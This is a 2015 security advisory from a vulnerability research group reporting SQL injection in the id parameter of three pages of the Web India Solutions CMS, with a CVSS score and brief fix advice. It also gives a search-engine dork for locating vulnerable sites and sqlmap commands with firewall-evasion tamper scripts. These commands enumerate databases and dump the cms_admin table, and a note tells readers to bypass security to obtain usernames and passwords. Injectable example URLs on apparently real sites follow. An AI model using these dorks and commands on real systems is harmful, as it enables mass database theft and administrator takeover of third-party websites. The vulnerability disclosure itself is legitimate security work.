Web India Solutions CMS 2015 - SQL Injection Vulnerability
(Copy of the Vendor Homepage: http://www.webindiasolutions.com/ )
An independent vulnerability laboratory researcher discovered a remote sql injection web vulnerability in the official CMS Web India Solutions (2015 Q2).
2015-05-13: Public Disclosure (Vulnerability Laboratory)
Web India Solutions Product: Content Management System 2015 Q2
Multiple remote sql injection vulnerabilities has been discovered in the official Content Management System Web India Solutions (2015 Q2). The vulnerability allows remote attackers to execute own sql commands to compromise the web-applicaation or database management system.
The vulnerabilities are located in the id value of the `departments.php`,`offers.php` and `photogallery_view.php` files. Remote attackers are able to execute own sql commands by manipulation of the GET method request with the vulnerable id value. The request method to inject the command is GET and the issue is located on the application-side.
The security risk of the sql injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.3. Exploitation of the remote sql injection web vulnerability requires no user interaction or privileged web-application user account. Successful exploitation of the remote sql injection results in dbms, web-server and web-application compromise.
Request Method(s): [+] GET
Vulnerable File(s): [+] departments.php [+] offers.php [+] photogallery_view.php
Vulnerable Parameter(s): [+] id
The remote sql injection web vulnerability can be exploited by remote attackers without user interaction or privilege web-application user account. For security demonstration or to reproduce follow the provided information and steps below to continue.
Dork(s): intext:"Website Development Web India Solutions" +inurl:.php?id=
PoC: Payload(s) https://www.[SITE].com/anyinfectedfile.php?id='[SQL INJECTION VULNERABILITY!]
SQLMAP Payload(s): sqlmap -u http://www.site.com/anyinfectedfile.php?id= --dbs --tamper modsecurityzeroversioned.py sqlmap -u http://www.site.com/anyinfectedfile.php?id= -D [DB_NAME] --tables --tamper modsecurityzeroversioned.py,space2morehash.py sqlmap -u http://www.site.com/anyinfectedfile.php?id= --dump -D [DB_NAME] -T cms_admin --tamper modsecurityzeroversioned.py,space2morehash.py
Note: To get "DB-NAME" AND "USER&PASS" you should bypass security by using SQLMAP!
--- Error & Exception Logs --- You have an error in your SQL syntax line 1
Reference(s): http://www.xxxxxxxxx.com/departments.php?id=34%27'[SQL INJECTION VULNERABILITY!] http://www.xxxxxxxxx.com/offers.php?id=7%27'[SQL INJECTION VULNERABILITY!] http://www.xxxxxxxxx.in/photogallery_view.php?id=7%27'[SQL INJECTION VULNERABILITY!]
The sql vulnerability can be patched by a secure parse and encode of the vulnerable id value. Use a prapred statement to protect the request and restrict the input by disallowing special chars like script code tags and co.
The security risk of the remote sql injection web vulnerability in the content management system is estimated as high. (CVSS 8.3)
kjfido - To mrdanger_3 and to all my old friends +ALL Muslims
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: firstname.lastname@example.org - email@example.com - firstname.lastname@example.org Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (email@example.com or firstname.lastname@example.org) to get a permission.
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™
-- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: email@example.com PGP KEY: http://firstname.lastname@example.org%280x198E9928%29.txt